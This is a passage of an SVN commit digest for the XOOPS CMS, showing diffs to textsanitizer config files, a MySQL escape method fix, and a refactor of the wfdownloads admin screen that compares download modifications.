+ <li><span class="bold"><{$smarty.const._VERSION}></span> : <{$row.version}> <{$row.module_status}></li>
<li><span class="bold"><{$smarty.const._AUTHOR}></span> : <{$row.author}></li>
<li><span class="bold"><{$smarty.const._CREDITS}></span> : <{$row.credits}></li>
<li><span class="bold"><{$smarty.const._LICENCE}></span> : <{$row.license}> </li>
@@ -254,4 +254,4 @@
<p><{$row.description}></p>
</div>
<{/foreach}>
-<!--Pop-pup-->
\ No newline at end of file
+<!--Pop-pup-->
|
|
From: <be...@us...> - 2014-02-15 02:33:38
|
Revision: 12313
http://sourceforge.net/p/xoops/svn/12313
Author: beckmi
Date: 2014-02-15 02:33:36 +0000 (Sat, 15 Feb 2014)
Log Message:
-----------
Adjusting files for XOOPS 2.5.7
Modified Paths:
--------------
XoopsModules/extgallery/trunk/class/textsanitizer/config.php
Added Paths:
-----------
XoopsModules/extgallery/trunk/class/textsanitizer/README_extGallery.txt
XoopsModules/extgallery/trunk/class/textsanitizer/config-original_2.5.6.php
XoopsModules/extgallery/trunk/class/textsanitizer/config-original_2.5.7.php
Removed Paths:
-------------
XoopsModules/extgallery/trunk/class/textsanitizer/README.txt
XoopsModules/extgallery/trunk/class/textsanitizer/config-original.php
Deleted: XoopsModules/extgallery/trunk/class/textsanitizer/README.txt
===================================================================
--- XoopsModules/extgallery/trunk/class/textsanitizer/README.txt 2014-02-15 02:28:46 UTC (rev 12312)
+++ XoopsModules/extgallery/trunk/class/textsanitizer/README.txt 2014-02-15 02:33:36 UTC (rev 12313)
@@ -1,3 +0,0 @@
-If you want use extGallery extention you must active it on class/textsanitizer/config.php file by add (("gallery" => 1,)) in config array or replace config.php.
-
-If you want don't use extGalery extention you must remove (("gallery" => 1,)) from class/textsanitizer/config.php or use config-original.php
\ No newline at end of file
Added: XoopsModules/extgallery/trunk/class/textsanitizer/README_extGallery.txt
===================================================================
--- XoopsModules/extgallery/trunk/class/textsanitizer/README_extGallery.txt (rev 0)
+++ XoopsModules/extgallery/trunk/class/textsanitizer/README_extGallery.txt 2014-02-15 02:33:36 UTC (rev 12313)
@@ -0,0 +1,3 @@
+If you want to use extGallery extension, you must activate it in /class/textsanitizer/config.php file by adding (("gallery" => 1,)) in config array or replace the config.php file with the one in this folder.
+
+If you don't want to use extGalery extension, you must remove (("gallery" => 1,)) from /class/textsanitizer/config.php or use config-original_2.5.x.php file and rename it to config.php
\ No newline at end of file
Deleted: XoopsModules/extgallery/trunk/class/textsanitizer/config-original.php
===================================================================
--- XoopsModules/extgallery/trunk/class/textsanitizer/config-original.php 2014-02-15 02:28:46 UTC (rev 12312)
+++ XoopsModules/extgallery/trunk/class/textsanitizer/config-original.php 2014-02-15 02:33:36 UTC (rev 12313)
@@ -1,45 +0,0 @@
-<?php
-/**
- * TextSanitizer extension
- *
- * You may not change or alter any portion of this comment or credits
- * of supporting developers from this source code or any supporting source code
- * which is considered copyrighted (c) material of the original comment or credit authors.
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- *
- * @copyright The XOOPS Project http://sourceforge.net/projects/xoops/
- * @license GNU GPL 2 (http://www.gnu.org/licenses/old-licenses/gpl-2.0.html)
- * @package class
- * @subpackage textsanitizer
- * @since 2.3.0
- * @author Taiwen Jiang <ph...@us...>
- * @version $Id$
- */
-defined('XOOPS_ROOT_PATH') or die('Restricted access');
-
-return $config = array(
- "extensions" => array(
- "iframe" => 0,
- "image" => 1,
- "flash" => 1,
- "youtube" => 1,
- "mp3" => 0,
- "wmp" => 0,
- // If other module is used, please modify the following detection and 'link' in /wiki/config.php
- "wiki" => is_dir(XOOPS_ROOT_PATH . '/modules/mediawiki/'),
- "mms" => 0,
- "rtsp" => 0,
- "ul" => 1,
- "li" => 1),
-
- "truncate_length" => 60,
-
- // Stop request processing if malicious words found
- "censor_stop" => false,
-
- // Filters XSS scripts on display of text
- // There is considerable trade-off between security and performance
- "filterxss_on_display" => false);
-?>
\ No newline at end of file
Added: XoopsModules/extgallery/trunk/class/textsanitizer/config-original_2.5.6.php
===================================================================
--- XoopsModules/extgallery/trunk/class/textsanitizer/config-original_2.5.6.php (rev 0)
+++ XoopsModules/extgallery/trunk/class/textsanitizer/config-original_2.5.6.php 2014-02-15 02:33:36 UTC (rev 12313)
@@ -0,0 +1,45 @@
+<?php
+/**
+ * TextSanitizer extension
+ *
+ * You may not change or alter any portion of this comment or credits
+ * of supporting developers from this source code or any supporting source code
+ * which is considered copyrighted (c) material of the original comment or credit authors.
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+ *
+ * @copyright The XOOPS Project http://sourceforge.net/projects/xoops/
+ * @license GNU GPL 2 (http://www.gnu.org/licenses/old-licenses/gpl-2.0.html)
+ * @package class
+ * @subpackage textsanitizer
+ * @since 2.3.0
+ * @author Taiwen Jiang <ph...@us...>
+ * @version $Id$
+ */
+defined('XOOPS_ROOT_PATH') or die('Restricted access');
+
+return $config = array(
+ "extensions" => array(
+ "iframe" => 0,
+ "image" => 1,
+ "flash" => 1,
+ "youtube" => 1,
+ "mp3" => 0,
+ "wmp" => 0,
+ // If other module is used, please modify the following detection and 'link' in /wiki/config.php
+ "wiki" => is_dir(XOOPS_ROOT_PATH . '/modules/mediawiki/'),
+ "mms" => 0,
+ "rtsp" => 0,
+ "ul" => 1,
+ "li" => 1),
+
+ "truncate_length" => 60,
+
+ // Stop request processing if malicious words found
+ "censor_stop" => false,
+
+ // Filters XSS scripts on display of text
+ // There is considerable trade-off between security and performance
+ "filterxss_on_display" => false);
+?>
\ No newline at end of file
Property changes on: XoopsModules/extgallery/trunk/class/textsanitizer/config-original_2.5.6.php
___________________________________________________________________
Added: svn:keywords
## -0,0 +1 ##
+Author Date Id Rev URL
\ No newline at end of property
Added: svn:eol-style
## -0,0 +1 ##
+native
\ No newline at end of property
Added: XoopsModules/extgallery/trunk/class/textsanitizer/config-original_2.5.7.php
===================================================================
--- XoopsModules/extgallery/trunk/class/textsanitizer/config-original_2.5.7.php (rev 0)
+++ XoopsModules/extgallery/trunk/class/textsanitizer/config-original_2.5.7.php 2014-02-15 02:33:36 UTC (rev 12313)
@@ -0,0 +1,42 @@
+<?php
+/**
+ * TextSanitizer extension
+ *
+ * You may not change or alter any portion of this comment or credits
+ * of supporting developers from this source code or any supporting source code
+ * which is considered copyrighted (c) material of the original comment or credit authors.
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+ *
+ * @copyright The XOOPS Project http://sourceforge.net/projects/xoops/
+ * @license GNU GPL 2 (http://www.gnu.org/licenses/old-licenses/gpl-2.0.html)
+ * @package class
+ * @subpackage textsanitizer
+ * @since 2.3.0
+ * @author Taiwen Jiang <ph...@us...>
+ * @version $Id$
+ */
+defined('XOOPS_ROOT_PATH') or die('Restricted access');
+
+return $config = array(
+ "extensions" => array(
+ "iframe" => 0,
+ "image" => 1,
+ "flash" => 1,
+ "youtube" => 1,
+ "mp3" => 0,
+ "wmp" => 0,
+ // If other module is used, please modify the following detection and 'link' in /wiki/config.php
+ "wiki" => is_dir(XOOPS_ROOT_PATH . '/modules/mediawiki/'),
+ "mms" => 0,
+ "rtsp" => 0,
+ "soundcloud" => 0,
+ "ul" => 1,
+ "li" => 1),
+
+ "truncate_length" => 60,
+
+ // Filters XSS scripts on display of text
+ // There is considerable trade-off between security and performance
+ "filterxss_on_display" => false);
Property changes on: XoopsModules/extgallery/trunk/class/textsanitizer/config-original_2.5.7.php
___________________________________________________________________
Added: svn:keywords
## -0,0 +1 ##
+Author Date Id Rev URL
\ No newline at end of property
Added: svn:eol-style
## -0,0 +1 ##
+native
\ No newline at end of property
Modified: XoopsModules/extgallery/trunk/class/textsanitizer/config.php
===================================================================
--- XoopsModules/extgallery/trunk/class/textsanitizer/config.php 2014-02-15 02:28:46 UTC (rev 12312)
+++ XoopsModules/extgallery/trunk/class/textsanitizer/config.php 2014-02-15 02:33:36 UTC (rev 12313)
@@ -1,46 +1,46 @@
-<?php
-/**
- * TextSanitizer extension
- *
- * You may not change or alter any portion of this comment or credits
- * of supporting developers from this source code or any supporting source code
- * which is considered copyrighted (c) material of the original comment or credit authors.
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- *
- * @copyright The XOOPS Project http://sourceforge.net/projects/xoops/
- * @license GNU GPL 2 (http://www.gnu.org/licenses/old-licenses/gpl-2.0.html)
- * @package class
- * @subpackage textsanitizer
- * @since 2.3.0
- * @author Taiwen Jiang <ph...@us...>
- * @version $Id$
- */
-defined('XOOPS_ROOT_PATH') or die('Restricted access');
-
-return $config = array(
- "extensions" => array(
- "iframe" => 0,
- "image" => 1,
- "flash" => 1,
- "youtube" => 1,
- "mp3" => 0,
- "wmp" => 0,
- // If other module is used, please modify the following detection and 'link' in /wiki/config.php
- "wiki" => is_dir(XOOPS_ROOT_PATH . '/modules/mediawiki/'),
- "mms" => 0,
- "rtsp" => 0,
- "ul" => 1,
- "li" => 1,
- "gallery" => 1),
-
- "truncate_length" => 60,
-
- // Stop request processing if malicious words found
- "censor_stop" => false,
-
- // Filters XSS scripts on display of text
- // There is considerable trade-off between security and performance
- "filterxss_on_display" => false);
-?>
\ No newline at end of file
+<?php
+/**
+ * TextSanitizer extension
+ *
+ * You may not change or alter any portion of this comment or credits
+ * of supporting developers from this source code or any supporting source code
+ * which is considered copyrighted (c) material of the original comment or credit authors.
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+ *
+ * @copyright The XOOPS Project http://sourceforge.net/projects/xoops/
+ * @license GNU GPL 2 (http://www.gnu.org/licenses/old-licenses/gpl-2.0.html)
+ * @package class
+ * @subpackage textsanitizer
+ * @since 2.3.0
+ * @author Taiwen Jiang <ph...@us...>
+ * @version $Id$
+ */
+defined('XOOPS_ROOT_PATH') or die('Restricted access');
+
+return $config = array(
+ "extensions" => array(
+ "iframe" => 0,
+ "image" => 1,
+ "flash" => 1,
+ "youtube" => 1,
+ "mp3" => 0,
+ "wmp" => 0,
+ // If other module is used, please modify the following detection and 'link' in /wiki/config.php
+ "wiki" => is_dir(XOOPS_ROOT_PATH . '/modules/mediawiki/'),
+ "mms" => 0,
+ "rtsp" => 0,
+ "soundcloud" => 0, //new in XOOPS 2.5.7
+ "ul" => 1,
+ "li" => 1,
+ "gallery" => 1), //added by extGallery
+
+ "truncate_length" => 60,
+
+ // Stop request processing if malicious words found
+ // "censor_stop" => false,
+
+ // Filters XSS scripts on display of text
+ // There is considerable trade-off between security and performance
+ "filterxss_on_display" => false);
|
|
From: <be...@us...> - 2014-02-15 02:28:50
|
Revision: 12312
http://sourceforge.net/p/xoops/svn/12312
Author: beckmi
Date: 2014-02-15 02:28:46 +0000 (Sat, 15 Feb 2014)
Log Message:
-----------
cosmetics - adding extra info about SoundCloud
Modified Paths:
--------------
XoopsCore/branches/2.5.x/2.5.7/htdocs/class/textsanitizer/config.php
Modified: XoopsCore/branches/2.5.x/2.5.7/htdocs/class/textsanitizer/config.php
===================================================================
--- XoopsCore/branches/2.5.x/2.5.7/htdocs/class/textsanitizer/config.php 2014-02-14 21:41:01 UTC (rev 12311)
+++ XoopsCore/branches/2.5.x/2.5.7/htdocs/class/textsanitizer/config.php 2014-02-15 02:28:46 UTC (rev 12312)
@@ -31,7 +31,7 @@
"wiki" => is_dir(XOOPS_ROOT_PATH . '/modules/mediawiki/'),
"mms" => 0,
"rtsp" => 0,
- "soundcloud" => 0,
+ "soundcloud" => 0, //new in XOOPS 2.5.7
"ul" => 1,
"li" => 1),
|
|
From: <rgr...@us...> - 2014-02-14 21:41:04
|
Revision: 12311
http://sourceforge.net/p/xoops/svn/12311
Author: rgriffith
Date: 2014-02-14 21:41:01 +0000 (Fri, 14 Feb 2014)
Log Message:
-----------
Fixes to escape() method
Modified Paths:
--------------
XoopsCore/branches/2.5.x/2.5.7/htdocs/class/database/mysqldatabase.php
Modified: XoopsCore/branches/2.5.x/2.5.7/htdocs/class/database/mysqldatabase.php
===================================================================
--- XoopsCore/branches/2.5.x/2.5.7/htdocs/class/database/mysqldatabase.php 2014-02-14 18:11:08 UTC (rev 12310)
+++ XoopsCore/branches/2.5.x/2.5.7/htdocs/class/database/mysqldatabase.php 2014-02-14 21:41:01 UTC (rev 12311)
@@ -237,20 +237,17 @@
}
/**
- * Escapes a string for use in a query. Does not add quotes.
+ * Escapes a string for use in a query. Does not add surroundin quotes.
*
* @param string $string string to escape
*
* @return string
- * @deprecated since version 2.6.0 - alpha 3. Switch to doctrine connector.
*/
public function escape($string)
{
- $this->deprecated();
+ return mysql_real_escape_string($string, $this->conn);
+ }
- return str_replace("\\\"", '"', str_replace("\\"", '"', $string));
- }
-
/**
* perform a query on the database
*
|
|
From: <luc...@us...> - 2014-02-14 18:11:12
|
Revision: 12310
http://sourceforge.net/p/xoops/svn/12310
Author: luciorota
Date: 2014-02-14 18:11:08 +0000 (Fri, 14 Feb 2014)
Log Message:
-----------
added: dohtm, dosmiley ,doxcode, doimage, dobr fields to download object
Modified Paths:
--------------
XoopsModules/wfdownloads/trunk/wfdownloads/admin/downloads.php
XoopsModules/wfdownloads/trunk/wfdownloads/admin/reportsmodifications.php
XoopsModules/wfdownloads/trunk/wfdownloads/class/download.php
XoopsModules/wfdownloads/trunk/wfdownloads/class/modification.php
XoopsModules/wfdownloads/trunk/wfdownloads/docs/changelog.txt
XoopsModules/wfdownloads/trunk/wfdownloads/include/common.php
XoopsModules/wfdownloads/trunk/wfdownloads/include/module.php
XoopsModules/wfdownloads/trunk/wfdownloads/sql/mysql.sql
XoopsModules/wfdownloads/trunk/wfdownloads/submit.php
XoopsModules/wfdownloads/trunk/wfdownloads/xoops_version.php
Added Paths:
-----------
XoopsModules/wfdownloads/trunk/wfdownloads/class/multicolumnsthemeform.php
Modified: XoopsModules/wfdownloads/trunk/wfdownloads/admin/downloads.php
===================================================================
--- XoopsModules/wfdownloads/trunk/wfdownloads/admin/downloads.php 2014-02-14 04:30:50 UTC (rev 12309)
+++ XoopsModules/wfdownloads/trunk/wfdownloads/admin/downloads.php 2014-02-14 18:11:08 UTC (rev 12310)
@@ -161,24 +161,24 @@
$criteria = new Criteria("ratinguser", "(" . implode(',', $uids) . ")", "IN");
$criteria->setGroupby("ratinguser");
- $userratings = $wfdownloads->getHandler('rating')->getUserAverage($criteria);
+ $userRatings = $wfdownloads->getHandler('rating')->getUserAverage($criteria);
foreach (array_keys($regvotes) as $i) {
$formatted_date = formatTimestamp($regvotes[$i]->getVar('ratingtimestamp'), _DATESTRING);
- $useravgrating = isset($userratings[$regvotes[$i]->getVar('ratinguser')]) ? $userratings[$regvotes[$i]->getVar(
+ $userAvgRating = isset($userRatings[$regvotes[$i]->getVar('ratinguser')]) ? $userRatings[$regvotes[$i]->getVar(
'ratinguser'
)]["avg"] : 0;
- $uservotes = isset($userratings[$regvotes[$i]->getVar('ratinguser')]) ? $userratings[$regvotes[$i]->getVar(
+ $userVotes = isset($userRatings[$regvotes[$i]->getVar('ratinguser')]) ? $userRatings[$regvotes[$i]->getVar(
'ratinguser'
)]["count"] : 0;
- $ratinguname = XoopsUser :: getUnameFromId($regvotes[$i]->getVar('ratinguser'));
+ $ratingUserName = XoopsUser :: getUnameFromId($regvotes[$i]->getVar('ratinguser'));
echo "
- <tr><td class='head'>$ratinguname</td>\n
+ <tr><td class='head'>$ratingUserName</td>\n
<td class='even'>" . $regvotes[$i]->getVar('ratinghostname') . "</th>\n
<td class='even'>" . $regvotes[$i]->getVar('rating') . "</th>\n
- <td class='even'>$useravgrating</th>\n
- <td class='even'>$uservotes</th>\n
+ <td class='even'>$userAvgRating</th>\n
+ <td class='even'>$userVotes</th>\n
<td class='even'>$formatted_date</th>\n
<td class='even'>\n
<a href='{$currentFile}?op=vote.delete&lid={$lid}&rid=" . $regvotes[$i]->getVar('ratingid') . "'>"
@@ -205,22 +205,22 @@
echo "<tr><td colspan='7' class='even'><b>" . _AM_WFDOWNLOADS_VOTE_NOUNREGVOTES . "</b></td></tr>";
} else {
$criteria = new Criteria('ratinguser', 0);
- $userratings = $wfdownloads->getHandler('rating')->getUserAverage($criteria);
+ $userRatings = $wfdownloads->getHandler('rating')->getUserAverage($criteria);
$anonymousVotes = $wfdownloads->getHandler('rating')->getObjects($anonymousCriteria);
foreach (array_keys($anonymousVotes) as $i) {
$formatted_date = formatTimestamp($anonymousVotes[$i]->getVar('ratingtimestamp'), _DATESTRING);
- $useravgrating = isset($userratings['avg']) ? $userratings["avg"] : 0;
- $uservotes = isset($userratings['count']) ? $userratings["count"] : 0;
+ $userAvgRating = isset($userRatings['avg']) ? $userRatings["avg"] : 0;
+ $userVotes = isset($userRatings['count']) ? $userRatings["count"] : 0;
- $ratinguname = $GLOBALS['xoopsConfig']['anonymous'];
+ $ratingUserName = $GLOBALS['xoopsConfig']['anonymous'];
echo "
- <tr><td class='head'>$ratinguname</td>\n
+ <tr><td class='head'>$ratingUserName</td>\n
<td class='even'>" . $anonymousVotes[$i]->getVar('ratinghostname') . "</th>\n
<td class='even'>" . $anonymousVotes[$i]->getVar('rating') . "</th>\n
- <td class='even'>$useravgrating</th>\n
- <td class='even'>$uservotes</th>\n
+ <td class='even'>$userAvgRating</th>\n
+ <td class='even'>$userVotes</th>\n
<td class='even'>$formatted_date</th>\n
<td class='even'>\n
<a href='{$currentFile}?op=vote.delete&lid={$lid}&rid=" . $anonymousVotes[$i]->getVar('ratingid') . "'>"
@@ -328,6 +328,11 @@
$download->setVar('platform', trim($_POST['platform']));
$download->setVar('summary', trim($_POST['summary']));
$download->setVar('description', trim($_POST['description']));
+ $download->setVar('dohtml', isset($_POST['dohtml']));
+ $download->setVar('dosmiley', isset($_POST['dosmiley']));
+ $download->setVar('doxcode', isset($_POST['doxcode']));
+ $download->setVar('doimage', isset($_POST['doimage']));
+ $download->setVar('dobr', isset($_POST['dobr']));
$download->setVar('submitter', trim($_POST['submitter']));
$download->setVar('publisher', trim($_POST['publisher']));
$download->setVar('price', trim($_POST['price']));
Modified: XoopsModules/wfdownloads/trunk/wfdownloads/admin/reportsmodifications.php
===================================================================
--- XoopsModules/wfdownloads/trunk/wfdownloads/admin/reportsmodifications.php 2014-02-14 04:30:50 UTC (rev 12309)
+++ XoopsModules/wfdownloads/trunk/wfdownloads/admin/reportsmodifications.php 2014-02-14 18:11:08 UTC (rev 12310)
@@ -61,34 +61,35 @@
redirect_header($currentFile, 1, _AM_WFDOWNLOADS_BROKEN_FILEIGNORED);
break;
- case "modification.show" :
+
+
+ case "modification.show":
$requestid = WfdownloadsRequest::getInt('requestid', 0);
$modification = $wfdownloads->getHandler('modification')->get($requestid);
$modify_user = new XoopsUser($modification->getVar('modifysubmitter'));
- $modifyName = XoopsUserUtility::getUnameFromId((int)$modify_user->getVar('uid'));
- $modifyEmail = $modify_user->getVar('email');
+ $modifyname = XoopsUserUtility::getUnameFromId((int)$modify_user->getVar('uid'));
+ $modifyemail = $modify_user->getVar('email');
$download = $wfdownloads->getHandler('download')->get($modification->getVar('lid'));
$orig_user = new XoopsUser($download->getVar('submitter'));
- $submitterName = XoopsUserUtility::getUnameFromId($download->getVar('submitter')); // $orig_user->getvar("uname");
- $submitterEmail = $orig_user->getVar('email');
+ $submittername = XoopsUserUtility::getUnameFromId($download->getVar('submitter')); // $orig_user->getvar("uname");
+ $submitteremail = $orig_user->getVar('email');
$categories = $wfdownloads->getHandler('category')->getObjects();
- $categoriesTree = new WfdownloadsObjectTree($categories, 'cid', 'pid');
+ $categoriesTree = new XoopsObjectTree($categories, 'cid', 'pid');
wfdownloads_xoops_cp_header();
-// IN PROGRESS NEW FROM HERE
-// IN PROGRESS NEW FROM HERE
-// IN PROGRESS NEW FROM HERE
+ // IN PROGRESS
+ // IN PROGRESS
+ // IN PROGRESS
+ // IN PROGRESS NEW FROM HERE
- echo "<div><b>" . _AM_WFDOWNLOADS_MOD_MODPOSTER . "</b> $submitterName</div>";
- echo "<div><b>" . _AM_WFDOWNLOADS_MOD_MODIFYSUBMITTER . "</b> $modifyName</div>";
+ echo "<div><b>" . _AM_WFDOWNLOADS_MOD_MODPOSTER . "</b> $submittername</div>";
+ echo "<div><b>" . _AM_WFDOWNLOADS_MOD_MODIFYSUBMITTER . "</b> $modifyname</div>";
- define ('_BUTTON_1', 'original');
- define ('_BUTTON_2', 'proposed');
- $sform = new XoopsThemeForm(_AM_WFDOWNLOADS_MOD_PROPOSED, 'storyform', 'reportsmodifications.php');
+ $mcform = new WfdownloadsMulticolumnsThemeForm('', 'modificationform', 'index.php');
// Get download keys
$downloadVars = $download->getVars();
@@ -101,262 +102,139 @@
// Set not allowed keys
$notAllowedKeys = array('lid', 'submitter', 'publisher', 'requestid', 'forumid', 'modifysubmitter', 'screenshots', 'paypalemail');
+ $i = 0;
+ $mcform->addElement('', false, 0, 0);
+ $mcform->setTitles(array('', _AM_WFDOWNLOADS_MOD_ORIGINAL, _AM_WFDOWNLOADS_MOD_PROPOSED));
+ $i = 1;
foreach ($commonKeys as $key) {
if (in_array($key, $notAllowedKeys)) {
continue;
}
- $caption = (defined("_AM_WFDOWNLOADS_MOD_" . strtoupper($key)) ? constant("_AM_WFDOWNLOADS_MOD_" . strtoupper($key)) : $key);
- $description = (defined("_AM_WFDOWNLOADS_MOD_" . strtoupper($key) . "_DESC") ? constant("_AM_WFDOWNLOADS_MOD_" . strtoupper($key) . "_DESC") : '');
- $editContent = '';
+ $caption = constant("_AM_WFDOWNLOADS_MOD_" . strtoupper($key));
+ $downloadContent = $download->getVar($key);
+ $modificationContent = $modification->getVar($key);
// Extra jobs for some keys
switch ($key) {
case "title" :
case "url" :
- $downloadContent = $download->getVar($key, 'e');
- $modificationContent = $modification->getVar($key, 'e');
- $editContentFormElement = new XoopsFormText($caption, $key, 50, 255, $download->getVar($key, 'e'));
+ // NOP
break;
- case "cid":
- $category_list = $wfdownloads->getHandler('category')->getObjects(new Criteria("cid", $download->getVar($key)));
- if (!isset($category_list[0])) continue;
- // array(value, name)
- $downloadContent = array(
- $download->getVar($key),
- $category_list[0]->getVar('title', 'e')
- );
- $category_list = $wfdownloads->getHandler('category')->getObjects(new Criteria("cid", $modification->getVar($key)));
- if (!isset($category_list[0])) continue;
- // array(value, name)
- $modificationContent = array(
- $modification->getVar($key),
- $category_list[0]->getVar('title', 'e')
- );
- $editContentFormElement = new XoopsFormSelect($caption, 'cid', $download->getVar($key, 'e'), 1, false);
- $editContentFormElement->addOptionArray($categoriesTree->makeSelBoxOptionsArray('title', '-'));
- break;
case "size" :
- // array(value, name)
- $downloadContent = array(
- $download->getVar($key, 'e'),
- wfdownloads_bytesToSize1024($downloadContent)
- );
- // array(value, name)
- $modificationContent = array(
- $modification->getVar($key, 'e'),
- wfdownloads_bytesToSize1024($modificationContent)
- );
- $editContentFormElement = new XoopsFormText($caption, 'size', 50, 255, $download->getVar($key, 'e'));
+ $downloadContent = wfdownloads_bytesToSize1024($downloadContent);
+ //
+ $modificationContent = wfdownloads_bytesToSize1024($modificationContent);
break;
case "date" :
case "published" :
case "expired" :
case "updated" :
- // array(value, name)
- $downloadContent = array(
- $download->getVar($key, 'e'),
- ($download->getVar($key, 'e') != false) ? formatTimestamp($download->getVar($key, 'e'), _DATESTRING) : _NO
- );
- // array(value, name)
- $modificationContent = array(
- $modification->getVar($key, 'e'),
- ($modification->getVar($key, 'e') != false) ? formatTimestamp($modification->getVar($key, 'e'), _DATESTRING) : _NO
- );
- $editContentFormElement = new XoopsFormDateTime($caption, $key, 15, $download->getVar($key, 'e'), true);
+ $downloadContent = ($downloadContent != false) ? formatTimestamp($downloadContent, _DATESTRING) : _NO;
+ //
+ $modificationContent = ($modificationContent != false) ? formatTimestamp($modificationContent, _DATESTRING) : _NO;
break;
case "platform":
case "license":
case "limitations":
case "versiontypes":
$tempArray = $wfdownloads->getConfig($key);
- // array(value, name)
- $downloadContent = array(
- $download->getVar($key),
- isset($tempArray[$download->getVar($key)]) ? $tempArray[$download->getVar($key)] : ''
- );
- // array(value, name)
- $modificationContent = array(
- $modification->getVar($key),
- isset($tempArray[$modification->getVar($key)]) ? $tempArray[$modification->getVar($key)] : ''
- );
- $editContentFormElement = new XoopsFormSelect($caption, $key, $download->getVar($key));
- $editContentFormElement->addOptionArray($tempArray);
+ $downloadContent = isset($tempArray[$download->getVar($key)]) ? $tempArray[$download->getVar($key)] : '';
+ //
+ $modificationContent = isset($tempArray[$modification->getVar($key)]) ? $tempArray[$modification->getVar($key)] : '';
break;
+ case "cid":
+ $category_list = $wfdownloads->getHandler('category')->getObjects(new Criteria("cid", $download->getVar($key)));
+ if (!isset($category_list[0])) continue;
+ $downloadContent = $category_list[0]->getVar('title', 'e');
+ //
+ $category_list = $wfdownloads->getHandler('category')->getObjects(new Criteria("cid", $modification->getVar($key)));
+ if (!isset($category_list[0])) continue;
+ $modificationContent = $category_list[0]->getVar('title', 'e');
+ break;
+ case "screenshot":
+ case "screenshot2":
+ case "screenshot3":
+ case "screenshot4":
+ if ($downloadContent != '') $downloadContent = "<img src='" . XOOPS_URL . "/{$wfdownloads->getConfig('screenshots')}/{$downloadContent}' width='{$wfdownloads->getConfig('shotwidth')}' alt='' title='' />";
+ //
+ if ($modificationContent != '') $modificationContent = "<img src='" . XOOPS_URL . "/{$wfdownloads->getConfig('screenshots')}/{$modificationContent}' width='{$wfdownloads->getConfig('shotwidth')}' alt='' title='' />";
+ break;
case "publisher" :
- case "submitter" :
- $downloadUserId = $download->getVar($key);
- // array(value, name)
- $downloadContent = array(
- $downloadUserId,
- !empty($downloadUserId) ? XoopsUserUtility::getUnameFromId($downloadUserId) : ''
- );
- $modificationUserId = $modification->getVar($key);
- // array(value, name)
- $modificationContent = array(
- $modificationUserId,
- !empty($modificationUserId) ? XoopsUserUtility::getUnameFromId($modificationUserId) : ''
- );
- //$editContentFormElement = new XoopsFormText($caption, $key, 50, 255, $downloadUserId);
- $editContentFormElement = new XoopsFormSelectUser ($caption, $key, false, $downloadUserId, 1, false);
+ $downloadContent = XoopsUserUtility::getUnameFromId($downloadContent);
+ //
+ $modificationContent = XoopsUserUtility::getUnameFromId($modificationContent);
break;
- case "features" :
- case "requirements" :
- if ($download->getVar($key) != '') {
- $downloadName = "<ul>";
- $values = explode('|', trim($download->getVar($key)));
- foreach ($values as $value) {$downloadName .= "<li>{$value}</li>";}
- $downloadName .= "</ul>";
- } else {
- $downloadName = '';
+ case "features":
+ case "requirements":
+ if ($downloadContent != '') {
+ $downrequirements = explode('|', trim($downloadContent));
+ $downloadContent = "<ul>";
+ foreach ($downrequirements as $bi) { $downloadContent.= "<li>{$bi}</li>"; }
+ $downloadContent.= "</ul>";
}
-
- $downloadContent = array(
- $download->getVar($key),
- $downloadName
- );
- if ($modification->getVar($key) != '') {
- $modificationName = "<ul>";
- $values = explode('|', trim($modification->getVar($key)));
- foreach ($values as $value) {$modificationName .= "<li>{$value}</li>";}
- $modificationName .= "</ul>";
- } else {
- $modificationName = '';
+ //
+ if ($modificationContent != '') {
+ $downrequirements = explode('|', trim($modificationContent));
+ $modificationContent = "<ul>";
+ foreach ($downrequirements as $bi) { $modificationContent .= "<li>{$bi}</li>"; }
+ $modificationContent.= "</ul>";
}
- // array(value, name)
- $modificationContent = array(
- $modification->getVar($key),
- $modificationName
- );
- $editContentFormElement = new XoopsFormTextArea($caption, $key, $download->getVar($key, 'e'), 7, 60);
break;
- case "dhistory" :
- // array(value, name)
- $downloadContent = array(
- $download->getVar($key, 'e'),
- $myts->displayTarea($download->getVar($key), true, false, false, false, true)
- );
- // array(value, name)
- $modificationContent = array(
- $modification->getVar($key, 'e'),
- $myts->displayTarea($modification->getVar($key), true, false, false, false, true)
- );
- $editContentFormElement = new XoopsFormTextArea($caption, $key, $download->getVar($key, 'e'), 7, 60);
+ case "dhistory":
+ $downloadContent = $myts->displayTarea($downloadContent, true, false, false, false, true);
+ //
+ $modificationContent = $myts->displayTarea($modificationContent, true, false, false, false, true);
break;
-// IN PROGRESS FROM HERE
-// IN PROGRESS FROM HERE
-// IN PROGRESS FROM HERE
- case "summary" :
-// IN PROGRESS $wfdownloads->getConfig('autosummary') check
- // array(value, name)
- $downloadContent = array(
- $download->getVar($key, 'e'),
- $myts->displayTarea($download->getVar($key), true, false, false, false, true)
- );
- // array(value, name)
- $modificationContent = array(
- $modification->getVar($key, 'e'),
- $myts->displayTarea($modification->getVar($key), true, false, false, false, true)
- );
- $editContentFormElement = new XoopsFormDhtmlTextArea($caption, $key, $download->getVar($key, 'e'), 10, 60, 'smartHiddenSummary');
- break;
- case "description" :
- // array(value, name)
- $downloadContent = array(
- $download->getVar($key, 'e'),
- $myts->displayTarea($download->getVar($key), true, false, false, false, true)
- );
- // array(value, name)
- $modificationContent = array(
- $modification->getVar($key, 'e'),
- $myts->displayTarea($modification->getVar($key), true, false, false, false, true)
- );
- $editContentFormElement = new XoopsFormDhtmlTextArea($caption, $key, $download->getVar($key, 'e'), 15, 60, 'smartHiddenDescription');
- break;
- case "screenshot":
- case "screenshot2":
- case "screenshot3":
- case "screenshot4":
